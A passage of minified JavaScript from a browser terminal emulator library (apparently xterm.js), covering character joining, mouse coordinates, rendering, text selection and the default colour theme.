r=0,n=0,a=0,h=t.getFg(0),c=t.getBg(0);for(let e=0;e<t.getTrimmedLength();e++)if(t.loadCell(e,this._workCell),0!==this._workCell.getWidth()){if(this._workCell.fg!==h||this._workCell.bg!==c){if(e-r>1){const e=this._getJoinedRanges(s,a,n,t,r);for(let t=0;t<e.length;t++)i.push(e[t])}r=e,a=n,h=this._workCell.fg,c=this._workCell.bg}n+=this._workCell.getChars().length||o.WHITESPACE_CELL_CHAR.length}if(this._bufferService.cols-r>1){const e=this._getJoinedRanges(s,a,n,t,r);for(let t=0;t<e.length;t++)i.push(e[t])}return i}_getJoinedRanges(t,i,s,r,n){const o=t.substring(i,s);let a=[];try{a=this._characterJoiners[0].handler(o)}catch(e){console.error(e)}for(let t=1;t<this._characterJoiners.length;t++)try{const i=this._characterJoiners[t].handler(o);for(let t=0;t<i.length;t++)e._mergeRanges(a,i[t])}catch(e){console.error(e)}return this._stringRangesToCellRanges(a,r,n),a}_stringRangesToCellRanges(e,t,i){let s=0,r=!1,n=0,a=e[s];if(a){for(let h=i;h<this._bufferService.cols;h++){const i=t.getWidth(h),c=t.getString(h).length||o.WHITESPACE_CELL_CHAR.length;if(0!==i){if(!r&&a[0]<=n&&(a[0]=h,r=!0),a[1]<=n){if(a[1]=h,a=e[++s],!a)break;a[0]<=n?(a[0]=h,r=!0):r=!1}n+=c}}a&&(a[1]=this._bufferService.cols)}}static _mergeRanges(e,t){let i=!1;for(let s=0;s<e.length;s++){const r=e[s];if(i){if(t[1]<=r[0])return e[s-1][1]=t[1],e;if(t[1]<=r[1])return e[s-1][1]=Math.max(t[1],r[1]),e.splice(s,1),e;e.splice(s,1),s--}else{if(t[1]<=r[0])return e.splice(s,0,t),e;if(t[1]<=r[1])return r[0]=Math.min(t[0],r[0]),e;t[0]<r[1]&&(r[0]=Math.min(t[0],r[0]),i=!0)}}return i?e[e.length-1][1]=t[1]:e.push(t),e}};t.CharacterJoinerService=l=s([r(0,h.IBufferService)],l)},5114:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.CoreBrowserService=void 0,t.CoreBrowserService=class{constructor(e,t){this._textarea=e,this.window=t,this._isFocused=!1,this._cachedIsFocused=void 0,this._textarea.addEventListener(\"focus\",(()=>this._isFocused=!0)),this._textarea.addEventListener(\"blur\",(()=>this._isFocused=!1))}get dpr(){return this.window.devicePixelRatio}get isFocused(){return void 0===this._cachedIsFocused&&(this._cachedIsFocused=this._isFocused&&this._textarea.ownerDocument.hasFocus(),queueMicrotask((()=>this._cachedIsFocused=void 0))),this._cachedIsFocused}}},8934:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if(\"object\"==typeof Reflect&&\"function\"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,\"__esModule\",{value:!0}),t.MouseService=void 0;const n=i(4725),o=i(9806);let a=t.MouseService=class{constructor(e,t){this._renderService=e,this._charSizeService=t}getCoords(e,t,i,s,r){return(0,o.getCoords)(window,e,t,i,s,this._charSizeService.hasValidSize,this._renderService.dimensions.css.cell.width,this._renderService.dimensions.css.cell.height,r)}getMouseReportCoords(e,t){const i=(0,o.getCoordsRelativeToElement)(window,e,t);if(this._charSizeService.hasValidSize)return i[0]=Math.min(Math.max(i[0],0),this._renderService.dimensions.css.canvas.width-1),i[1]=Math.min(Math.max(i[1],0),this._renderService.dimensions.css.canvas.height-1),{col:Math.floor(i[0]/this._renderService.dimensions.css.cell.width),row:Math.floor(i[1]/this._renderService.dimensions.css.cell.height),x:Math.floor(i[0]),y:Math.floor(i[1])}}};t.MouseService=a=s([r(0,n.IRenderService),r(1,n.ICharSizeService)],a)},3230:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if(\"object\"==typeof Reflect&&\"function\"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,\"__esModule\",{value:!0}),t.RenderService=void 0;const n=i(3656),o=i(6193),a=i(5596),h=i(4725),c=i(8460),l=i(844),d=i(7226),_=i(2585);let u=t.RenderService=class extends l.Disposable{get dimensions(){return this._renderer.value.dimensions}constructor(e,t,i,s,r,h,_,u){if(super(),this._rowCount=e,this._charSizeService=s,this._renderer=this.register(new l.MutableDisposable),this._pausedResizeTask=new d.DebouncedIdleTask,this._isPaused=!1,this._needsFullRefresh=!1,this._isNextRenderRedrawOnly=!0,this._needsSelectionRefresh=!1,this._canvasWidth=0,this._canvasHeight=0,this._selectionState={start:void 0,end:void 0,columnSelectMode:!1},this._onDimensionsChange=this.register(new c.EventEmitter),this.onDimensionsChange=this._onDimensionsChange.event,this._onRenderedViewportChange=this.register(new c.EventEmitter),this.onRenderedViewportChange=this._onRenderedViewportChange.event,this._onRender=this.register(new c.EventEmitter),this.onRender=this._onRender.event,this._onRefreshRequest=this.register(new c.EventEmitter),this.onRefreshRequest=this._onRefreshRequest.event,this._renderDebouncer=new o.RenderDebouncer(_.window,((e,t)=>this._renderRows(e,t))),this.register(this._renderDebouncer),this._screenDprMonitor=new a.ScreenDprMonitor(_.window),this._screenDprMonitor.setListener((()=>this.handleDevicePixelRatioChange())),this.register(this._screenDprMonitor),this.register(h.onResize((()=>this._fullRefresh()))),this.register(h.buffers.onBufferActivate((()=>{var e;return null===(e=this._renderer.value)||void 0===e?void 0:e.clear()}))),this.register(i.onOptionChange((()=>this._handleOptionsChanged()))),this.register(this._charSizeService.onCharSizeChange((()=>this.handleCharSizeChanged()))),this.register(r.onDecorationRegistered((()=>this._fullRefresh()))),this.register(r.onDecorationRemoved((()=>this._fullRefresh()))),this.register(i.onMultipleOptionChange([\"customGlyphs\",\"drawBoldTextInBrightColors\",\"letterSpacing\",\"lineHeight\",\"fontFamily\",\"fontSize\",\"fontWeight\",\"fontWeightBold\",\"minimumContrastRatio\"],(()=>{this.clear(),this.handleResize(h.cols,h.rows),this._fullRefresh()}))),this.register(i.onMultipleOptionChange([\"cursorBlink\",\"cursorStyle\"],(()=>this.refreshRows(h.buffer.y,h.buffer.y,!0)))),this.register((0,n.addDisposableDomListener)(_.window,\"resize\",(()=>this.handleDevicePixelRatioChange()))),this.register(u.onChangeColors((()=>this._fullRefresh()))),\"IntersectionObserver\"in _.window){const e=new _.window.IntersectionObserver((e=>this._handleIntersectionChange(e[e.length-1])),{threshold:0});e.observe(t),this.register({dispose:()=>e.disconnect()})}}_handleIntersectionChange(e){this._isPaused=void 0===e.isIntersecting?0===e.intersectionRatio:!e.isIntersecting,this._isPaused||this._charSizeService.hasValidSize||this._charSizeService.measure(),!this._isPaused&&this._needsFullRefresh&&(this._pausedResizeTask.flush(),this.refreshRows(0,this._rowCount-1),this._needsFullRefresh=!1)}refreshRows(e,t,i=!1){this._isPaused?this._needsFullRefresh=!0:(i||(this._isNextRenderRedrawOnly=!1),this._renderDebouncer.refresh(e,t,this._rowCount))}_renderRows(e,t){this._renderer.value&&(e=Math.min(e,this._rowCount-1),t=Math.min(t,this._rowCount-1),this._renderer.value.renderRows(e,t),this._needsSelectionRefresh&&(this._renderer.value.handleSelectionChanged(this._selectionState.start,this._selectionState.end,this._selectionState.columnSelectMode),this._needsSelectionRefresh=!1),this._isNextRenderRedrawOnly||this._onRenderedViewportChange.fire({start:e,end:t}),this._onRender.fire({start:e,end:t}),this._isNextRenderRedrawOnly=!0)}resize(e,t){this._rowCount=t,this._fireOnCanvasResize()}_handleOptionsChanged(){this._renderer.value&&(this.refreshRows(0,this._rowCount-1),this._fireOnCanvasResize())}_fireOnCanvasResize(){this._renderer.value&&(this._renderer.value.dimensions.css.canvas.width===this._canvasWidth&&this._renderer.value.dimensions.css.canvas.height===this._canvasHeight||this._onDimensionsChange.fire(this._renderer.value.dimensions))}hasRenderer(){return!!this._renderer.value}setRenderer(e){this._renderer.value=e,this._renderer.value.onRequestRedraw((e=>this.refreshRows(e.start,e.end,!0))),this._needsSelectionRefresh=!0,this._fullRefresh()}addRefreshCallback(e){return this._renderDebouncer.addRefreshCallback(e)}_fullRefresh(){this._isPaused?this._needsFullRefresh=!0:this.refreshRows(0,this._rowCount-1)}clearTextureAtlas(){var e,t;this._renderer.value&&(null===(t=(e=this._renderer.value).clearTextureAtlas)||void 0===t||t.call(e),this._fullRefresh())}handleDevicePixelRatioChange(){this._charSizeService.measure(),this._renderer.value&&(this._renderer.value.handleDevicePixelRatioChange(),this.refreshRows(0,this._rowCount-1))}handleResize(e,t){this._renderer.value&&(this._isPaused?this._pausedResizeTask.set((()=>this._renderer.value.handleResize(e,t))):this._renderer.value.handleResize(e,t),this._fullRefresh())}handleCharSizeChanged(){var e;null===(e=this._renderer.value)||void 0===e||e.handleCharSizeChanged()}handleBlur(){var e;null===(e=this._renderer.value)||void 0===e||e.handleBlur()}handleFocus(){var e;null===(e=this._renderer.value)||void 0===e||e.handleFocus()}handleSelectionChanged(e,t,i){var s;this._selectionState.start=e,this._selectionState.end=t,this._selectionState.columnSelectMode=i,null===(s=this._renderer.value)||void 0===s||s.handleSelectionChanged(e,t,i)}handleCursorMove(){var e;null===(e=this._renderer.value)||void 0===e||e.handleCursorMove()}clear(){var e;null===(e=this._renderer.value)||void 0===e||e.clear()}};t.RenderService=u=s([r(2,_.IOptionsService),r(3,h.ICharSizeService),r(4,_.IDecorationService),r(5,_.IBufferService),r(6,h.ICoreBrowserService),r(7,h.IThemeService)],u)},9312:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if(\"object\"==typeof Reflect&&\"function\"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,\"__esModule\",{value:!0}),t.SelectionService=void 0;const n=i(9806),o=i(9504),a=i(456),h=i(4725),c=i(8460),l=i(844),d=i(6114),_=i(4841),u=i(511),f=i(2585),v=String.fromCharCode(160),p=new RegExp(v,\"g\");let g=t.SelectionService=class extends l.Disposable{constructor(e,t,i,s,r,n,o,h,d){super(),this._element=e,this._screenElement=t,this._linkifier=i,this._bufferService=s,this._coreService=r,this._mouseService=n,this._optionsService=o,this._renderService=h,this._coreBrowserService=d,this._dragScrollAmount=0,this._enabled=!0,this._workCell=new u.CellData,this._mouseDownTimeStamp=0,this._oldHasSelection=!1,this._oldSelectionStart=void 0,this._oldSelectionEnd=void 0,this._onLinuxMouseSelection=this.register(new c.EventEmitter),this.onLinuxMouseSelection=this._onLinuxMouseSelection.event,this._onRedrawRequest=this.register(new c.EventEmitter),this.onRequestRedraw=this._onRedrawRequest.event,this._onSelectionChange=this.register(new c.EventEmitter),this.onSelectionChange=this._onSelectionChange.event,this._onRequestScrollLines=this.register(new c.EventEmitter),this.onRequestScrollLines=this._onRequestScrollLines.event,this._mouseMoveListener=e=>this._handleMouseMove(e),this._mouseUpListener=e=>this._handleMouseUp(e),this._coreService.onUserInput((()=>{this.hasSelection&&this.clearSelection()})),this._trimListener=this._bufferService.buffer.lines.onTrim((e=>this._handleTrim(e))),this.register(this._bufferService.buffers.onBufferActivate((e=>this._handleBufferActivate(e)))),this.enable(),this._model=new a.SelectionModel(this._bufferService),this._activeSelectionMode=0,this.register((0,l.toDisposable)((()=>{this._removeMouseDownListeners()})))}reset(){this.clearSelection()}disable(){this.clearSelection(),this._enabled=!1}enable(){this._enabled=!0}get selectionStart(){return this._model.finalSelectionStart}get selectionEnd(){return this._model.finalSelectionEnd}get hasSelection(){const e=this._model.finalSelectionStart,t=this._model.finalSelectionEnd;return!(!e||!t||e[0]===t[0]&&e[1]===t[1])}get selectionText(){const e=this._model.finalSelectionStart,t=this._model.finalSelectionEnd;if(!e||!t)return\"\";const i=this._bufferService.buffer,s=[];if(3===this._activeSelectionMode){if(e[0]===t[0])return\"\";const r=e[0]<t[0]?e[0]:t[0],n=e[0]<t[0]?t[0]:e[0];for(let o=e[1];o<=t[1];o++){const e=i.translateBufferLineToString(o,!0,r,n);s.push(e)}}else{const r=e[1]===t[1]?t[0]:void 0;s.push(i.translateBufferLineToString(e[1],!0,e[0],r));for(let r=e[1]+1;r<=t[1]-1;r++){const e=i.lines.get(r),t=i.translateBufferLineToString(r,!0);(null==e?void 0:e.isWrapped)?s[s.length-1]+=t:s.push(t)}if(e[1]!==t[1]){const e=i.lines.get(t[1]),r=i.translateBufferLineToString(t[1],!0,0,t[0]);e&&e.isWrapped?s[s.length-1]+=r:s.push(r)}}return s.map((e=>e.replace(p,\" \"))).join(d.isWindows?\"\\r\\n\":\"\\n\")}clearSelection(){this._model.clearSelection(),this._removeMouseDownListeners(),this.refresh(),this._onSelectionChange.fire()}refresh(e){this._refreshAnimationFrame||(this._refreshAnimationFrame=this._coreBrowserService.window.requestAnimationFrame((()=>this._refresh()))),d.isLinux&&e&&this.selectionText.length&&this._onLinuxMouseSelection.fire(this.selectionText)}_refresh(){this._refreshAnimationFrame=void 0,this._onRedrawRequest.fire({start:this._model.finalSelectionStart,end:this._model.finalSelectionEnd,columnSelectMode:3===this._activeSelectionMode})}_isClickInSelection(e){const t=this._getMouseBufferCoords(e),i=this._model.finalSelectionStart,s=this._model.finalSelectionEnd;return!!(i&&s&&t)&&this._areCoordsInSelection(t,i,s)}isCellInSelection(e,t){const i=this._model.finalSelectionStart,s=this._model.finalSelectionEnd;return!(!i||!s)&&this._areCoordsInSelection([e,t],i,s)}_areCoordsInSelection(e,t,i){return e[1]>t[1]&&e[1]<i[1]||t[1]===i[1]&&e[1]===t[1]&&e[0]>=t[0]&&e[0]<i[0]||t[1]<i[1]&&e[1]===i[1]&&e[0]<i[0]||t[1]<i[1]&&e[1]===t[1]&&e[0]>=t[0]}_selectWordAtCursor(e,t){var i,s;const r=null===(s=null===(i=this._linkifier.currentLink)||void 0===i?void 0:i.link)||void 0===s?void 0:s.range;if(r)return this._model.selectionStart=[r.start.x-1,r.start.y-1],this._model.selectionStartLength=(0,_.getRangeLength)(r,this._bufferService.cols),this._model.selectionEnd=void 0,!0;const n=this._getMouseBufferCoords(e);return!!n&&(this._selectWordAt(n,t),this._model.selectionEnd=void 0,!0)}selectAll(){this._model.isSelectAllActive=!0,this.refresh(),this._onSelectionChange.fire()}selectLines(e,t){this._model.clearSelection(),e=Math.max(e,0),t=Math.min(t,this._bufferService.buffer.lines.length-1),this._model.selectionStart=[0,e],this._model.selectionEnd=[this._bufferService.cols,t],this.refresh(),this._onSelectionChange.fire()}_handleTrim(e){this._model.handleTrim(e)&&this.refresh()}_getMouseBufferCoords(e){const t=this._mouseService.getCoords(e,this._screenElement,this._bufferService.cols,this._bufferService.rows,!0);if(t)return t[0]--,t[1]--,t[1]+=this._bufferService.buffer.ydisp,t}_getMouseEventScrollAmount(e){let t=(0,n.getCoordsRelativeToElement)(this._coreBrowserService.window,e,this._screenElement)[1];const i=this._renderService.dimensions.css.canvas.height;return t>=0&&t<=i?0:(t>i&&(t-=i),t=Math.min(Math.max(t,-50),50),t/=50,t/Math.abs(t)+Math.round(14*t))}shouldForceSelection(e){return d.isMac?e.altKey&&this._optionsService.rawOptions.macOptionClickForcesSelection:e.shiftKey}handleMouseDown(e){if(this._mouseDownTimeStamp=e.timeStamp,(2!==e.button||!this.hasSelection)&&0===e.button){if(!this._enabled){if(!this.shouldForceSelection(e))return;e.stopPropagation()}e.preventDefault(),this._dragScrollAmount=0,this._enabled&&e.shiftKey?this._handleIncrementalClick(e):1===e.detail?this._handleSingleClick(e):2===e.detail?this._handleDoubleClick(e):3===e.detail&&this._handleTripleClick(e),this._addMouseDownListeners(),this.refresh(!0)}}_addMouseDownListeners(){this._screenElement.ownerDocument&&(this._screenElement.ownerDocument.addEventListener(\"mousemove\",this._mouseMoveListener),this._screenElement.ownerDocument.addEventListener(\"mouseup\",this._mouseUpListener)),this._dragScrollIntervalTimer=this._coreBrowserService.window.setInterval((()=>this._dragScroll()),50)}_removeMouseDownListeners(){this._screenElement.ownerDocument&&(this._screenElement.ownerDocument.removeEventListener(\"mousemove\",this._mouseMoveListener),this._screenElement.ownerDocument.removeEventListener(\"mouseup\",this._mouseUpListener)),this._coreBrowserService.window.clearInterval(this._dragScrollIntervalTimer),this._dragScrollIntervalTimer=void 0}_handleIncrementalClick(e){this._model.selectionStart&&(this._model.selectionEnd=this._getMouseBufferCoords(e))}_handleSingleClick(e){if(this._model.selectionStartLength=0,this._model.isSelectAllActive=!1,this._activeSelectionMode=this.shouldColumnSelect(e)?3:0,this._model.selectionStart=this._getMouseBufferCoords(e),!this._model.selectionStart)return;this._model.selectionEnd=void 0;const t=this._bufferService.buffer.lines.get(this._model.selectionStart[1]);t&&t.length!==this._model.selectionStart[0]&&0===t.hasWidth(this._model.selectionStart[0])&&this._model.selectionStart[0]++}_handleDoubleClick(e){this._selectWordAtCursor(e,!0)&&(this._activeSelectionMode=1)}_handleTripleClick(e){const t=this._getMouseBufferCoords(e);t&&(this._activeSelectionMode=2,this._selectLineAt(t[1]))}shouldColumnSelect(e){return e.altKey&&!(d.isMac&&this._optionsService.rawOptions.macOptionClickForcesSelection)}_handleMouseMove(e){if(e.stopImmediatePropagation(),!this._model.selectionStart)return;const t=this._model.selectionEnd?[this._model.selectionEnd[0],this._model.selectionEnd[1]]:null;if(this._model.selectionEnd=this._getMouseBufferCoords(e),!this._model.selectionEnd)return void this.refresh(!0);2===this._activeSelectionMode?this._model.selectionEnd[1]<this._model.selectionStart[1]?this._model.selectionEnd[0]=0:this._model.selectionEnd[0]=this._bufferService.cols:1===this._activeSelectionMode&&this._selectToWordAt(this._model.selectionEnd),this._dragScrollAmount=this._getMouseEventScrollAmount(e),3!==this._activeSelectionMode&&(this._dragScrollAmount>0?this._model.selectionEnd[0]=this._bufferService.cols:this._dragScrollAmount<0&&(this._model.selectionEnd[0]=0));const i=this._bufferService.buffer;if(this._model.selectionEnd[1]<i.lines.length){const e=i.lines.get(this._model.selectionEnd[1]);e&&0===e.hasWidth(this._model.selectionEnd[0])&&this._model.selectionEnd[0]++}t&&t[0]===this._model.selectionEnd[0]&&t[1]===this._model.selectionEnd[1]||this.refresh(!0)}_dragScroll(){if(this._model.selectionEnd&&this._model.selectionStart&&this._dragScrollAmount){this._onRequestScrollLines.fire({amount:this._dragScrollAmount,suppressScrollEvent:!1});const e=this._bufferService.buffer;this._dragScrollAmount>0?(3!==this._activeSelectionMode&&(this._model.selectionEnd[0]=this._bufferService.cols),this._model.selectionEnd[1]=Math.min(e.ydisp+this._bufferService.rows,e.lines.length-1)):(3!==this._activeSelectionMode&&(this._model.selectionEnd[0]=0),this._model.selectionEnd[1]=e.ydisp),this.refresh()}}_handleMouseUp(e){const t=e.timeStamp-this._mouseDownTimeStamp;if(this._removeMouseDownListeners(),this.selectionText.length<=1&&t<500&&e.altKey&&this._optionsService.rawOptions.altClickMovesCursor){if(this._bufferService.buffer.ybase===this._bufferService.buffer.ydisp){const t=this._mouseService.getCoords(e,this._element,this._bufferService.cols,this._bufferService.rows,!1);if(t&&void 0!==t[0]&&void 0!==t[1]){const e=(0,o.moveToCellSequence)(t[0]-1,t[1]-1,this._bufferService,this._coreService.decPrivateModes.applicationCursorKeys);this._coreService.triggerDataEvent(e,!0)}}}else this._fireEventIfSelectionChanged()}_fireEventIfSelectionChanged(){const e=this._model.finalSelectionStart,t=this._model.finalSelectionEnd,i=!(!e||!t||e[0]===t[0]&&e[1]===t[1]);i?e&&t&&(this._oldSelectionStart&&this._oldSelectionEnd&&e[0]===this._oldSelectionStart[0]&&e[1]===this._oldSelectionStart[1]&&t[0]===this._oldSelectionEnd[0]&&t[1]===this._oldSelectionEnd[1]||this._fireOnSelectionChange(e,t,i)):this._oldHasSelection&&this._fireOnSelectionChange(e,t,i)}_fireOnSelectionChange(e,t,i){this._oldSelectionStart=e,this._oldSelectionEnd=t,this._oldHasSelection=i,this._onSelectionChange.fire()}_handleBufferActivate(e){this.clearSelection(),this._trimListener.dispose(),this._trimListener=e.activeBuffer.lines.onTrim((e=>this._handleTrim(e)))}_convertViewportColToCharacterIndex(e,t){let i=t;for(let s=0;t>=s;s++){const r=e.loadCell(s,this._workCell).getChars().length;0===this._workCell.getWidth()?i--:r>1&&t!==s&&(i+=r-1)}return i}setSelection(e,t,i){this._model.clearSelection(),this._removeMouseDownListeners(),this._model.selectionStart=[e,t],this._model.selectionStartLength=i,this.refresh(),this._fireEventIfSelectionChanged()}rightClickSelect(e){this._isClickInSelection(e)||(this._selectWordAtCursor(e,!1)&&this.refresh(!0),this._fireEventIfSelectionChanged())}_getWordAt(e,t,i=!0,s=!0){if(e[0]>=this._bufferService.cols)return;const r=this._bufferService.buffer,n=r.lines.get(e[1]);if(!n)return;const o=r.translateBufferLineToString(e[1],!1);let a=this._convertViewportColToCharacterIndex(n,e[0]),h=a;const c=e[0]-a;let l=0,d=0,_=0,u=0;if(\" \"===o.charAt(a)){for(;a>0&&\" \"===o.charAt(a-1);)a--;for(;h<o.length&&\" \"===o.charAt(h+1);)h++}else{let t=e[0],i=e[0];0===n.getWidth(t)&&(l++,t--),2===n.getWidth(i)&&(d++,i++);const s=n.getString(i).length;for(s>1&&(u+=s-1,h+=s-1);t>0&&a>0&&!this._isCharWordSeparator(n.loadCell(t-1,this._workCell));){n.loadCell(t-1,this._workCell);const e=this._workCell.getChars().length;0===this._workCell.getWidth()?(l++,t--):e>1&&(_+=e-1,a-=e-1),a--,t--}for(;i<n.length&&h+1<o.length&&!this._isCharWordSeparator(n.loadCell(i+1,this._workCell));){n.loadCell(i+1,this._workCell);const e=this._workCell.getChars().length;2===this._workCell.getWidth()?(d++,i++):e>1&&(u+=e-1,h+=e-1),h++,i++}}h++;let f=a+c-l+_,v=Math.min(this._bufferService.cols,h-a+l+d-_-u);if(t||\"\"!==o.slice(a,h).trim()){if(i&&0===f&&32!==n.getCodePoint(0)){const t=r.lines.get(e[1]-1);if(t&&n.isWrapped&&32!==t.getCodePoint(this._bufferService.cols-1)){const t=this._getWordAt([this._bufferService.cols-1,e[1]-1],!1,!0,!1);if(t){const e=this._bufferService.cols-t.start;f-=e,v+=e}}}if(s&&f+v===this._bufferService.cols&&32!==n.getCodePoint(this._bufferService.cols-1)){const t=r.lines.get(e[1]+1);if((null==t?void 0:t.isWrapped)&&32!==t.getCodePoint(0)){const t=this._getWordAt([0,e[1]+1],!1,!1,!0);t&&(v+=t.length)}}return{start:f,length:v}}}_selectWordAt(e,t){const i=this._getWordAt(e,t);if(i){for(;i.start<0;)i.start+=this._bufferService.cols,e[1]--;this._model.selectionStart=[i.start,e[1]],this._model.selectionStartLength=i.length}}_selectToWordAt(e){const t=this._getWordAt(e,!0);if(t){let i=e[1];for(;t.start<0;)t.start+=this._bufferService.cols,i--;if(!this._model.areSelectionValuesReversed())for(;t.start+t.length>this._bufferService.cols;)t.length-=this._bufferService.cols,i++;this._model.selectionEnd=[this._model.areSelectionValuesReversed()?t.start:t.start+t.length,i]}}_isCharWordSeparator(e){return 0!==e.getWidth()&&this._optionsService.rawOptions.wordSeparator.indexOf(e.getChars())>=0}_selectLineAt(e){const t=this._bufferService.buffer.getWrappedRangeForLine(e),i={start:{x:0,y:t.first},end:{x:this._bufferService.cols-1,y:t.last}};this._model.selectionStart=[0,t.first],this._model.selectionEnd=void 0,this._model.selectionStartLength=(0,_.getRangeLength)(i,this._bufferService.cols)}};t.SelectionService=g=s([r(3,f.IBufferService),r(4,f.ICoreService),r(5,h.IMouseService),r(6,f.IOptionsService),r(7,h.IRenderService),r(8,h.ICoreBrowserService)],g)},4725:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.IThemeService=t.ICharacterJoinerService=t.ISelectionService=t.IRenderService=t.IMouseService=t.ICoreBrowserService=t.ICharSizeService=void 0;const s=i(8343);t.ICharSizeService=(0,s.createDecorator)(\"CharSizeService\"),t.ICoreBrowserService=(0,s.createDecorator)(\"CoreBrowserService\"),t.IMouseService=(0,s.createDecorator)(\"MouseService\"),t.IRenderService=(0,s.createDecorator)(\"RenderService\"),t.ISelectionService=(0,s.createDecorator)(\"SelectionService\"),t.ICharacterJoinerService=(0,s.createDecorator)(\"CharacterJoinerService\"),t.IThemeService=(0,s.createDecorator)(\"ThemeService\")},6731:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if(\"object\"==typeof Reflect&&\"function\"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,\"__esModule\",{value:!0}),t.ThemeService=t.DEFAULT_ANSI_COLORS=void 0;const n=i(7239),o=i(8055),a=i(8460),h=i(844),c=i(2585),l=o.css.toColor(\"#ffffff\"),d=o.css.toColor(\"#000000\"),_=o.css.toColor(\"#ffffff\"),u=o.css.toColor(\"#000000\"),f={css:\"rgba(255, 255, 255, 0.3)\",rgba:4294967117};t.DEFAULT_ANSI_COLORS=Object.freeze((()=>{const e=[o.css.toColor(\"#2e3436\"),o.css.toColor(\"#cc0000\"),o.css.toColor(\"#4e9a06\"),o.css.toColor(\"#c4a000\"),o.css.toColor(\"#3465a4\"),o.css.toColor(\"#75507b\"),o.css.toColor(\"#06989a\"),o.css.toColor(\"#d3d7cf\"),o.css.toColor(\"#555753\"),o.css.toColor(\"#ef2929\"),o.css.toColor(\"#8ae234\"),o.css.toColor(\"#fce94f\"),o.css.toColor(\"#729fcf\"),o.css.toColor(\"#ad7fa8\"),o.css.toColor(\"#34e2e2\"),o.css.toColor(\"#eeeeec\")],t=[0,95,135,175,215,255];for(let i=0;i<216;i++){const s=t[i/36%6|0],r=t[i/6%6|0],n=t[i%6];e.push({css:o.channels.toCss(s,r,n),rgba:o.channels.toRgba(s,r,n)})}for(let t=0;t<24;t++){const i=8+10*t;e.push({css:o.channels.toCss(i,i,i),rgba:o.channels.toRgba(i,i,i)})}return e})());let v=t.ThemeService=class extends h.Disposable{get colors(){return this._colors}constructor(e){super(),this._optionsService=e,this._contrastCache=new n.ColorContrastCache,this._halfContrastCache=new n.ColorContrastCache,this._onChangeColors=this.register(new a.EventEmitter),this.onChangeColors=this._onChangeColors.event,this._colors={foreground:l,background:d,cursor:_,cursorAccent:u,selectionForeground:void 0,selectionBackgroundTransparent:f,selectionBackgroundOpaque:o.color.blend(d,f),selectionInactiveBackgroundTransparent:f,selectionInactiveBackgroundOpaque:o.color.blend(d,f),ansi:t.DEFAULT_ANSI_COLORS.slice(),contrastCache:this._contrastCache,halfContrastCache:this._halfContrastCache},this._updateRestoreColors(),this._setTheme(this._optionsService.rawOptions.theme),this.register(this._optionsService.onSpecificOptionChange(\"minimumContrastRatio\",(()=>this._contrastCache.clear()))),this.register(this._optionsService.onSpecificOptionChange(\"theme\",(()=>this._setTheme(this._optionsService.rawOptions.theme))))}_setTheme(e={}){const i=this._colors;if(i.foreground=p(e.foreground,l),i.background=p(e.background,d),i.cursor=p(e.cursor,_),i.cursorAccent=p(e.cursorAccent,u),i.selectionBackgroundTransparent=p(e.selectionBackground,f),i.selectionBackgroundOpaque=o.color.blend(i.background,i.selectionBackgroundTransparent),i.selectionInactiveBackgroundTransparent=p(e.selectionInactiveBackground,i.selectionBackgroundTransparent),i.selectionInactiveBackgroundOpaque=o.color.blend(i.background,i.selectionInactiveBackgroundTransparent),i.selectionForeground=e.selectionForeground?p(e.selectionForeground,o.NULL_COLOR):void 0,i.selectionForeground===o.NULL_COLOR&&(i.selectionForeground=void 0),o.color.isOpaque(i.selectionBackgroundTransparent)){const e=.3;i.selectionBackgroundTransparent=o.color.opacity(i.selectionBackgroundTransparent,e)}if(o.color.isOpaque(i.selectionInactiveBackgroundTransparent)){const 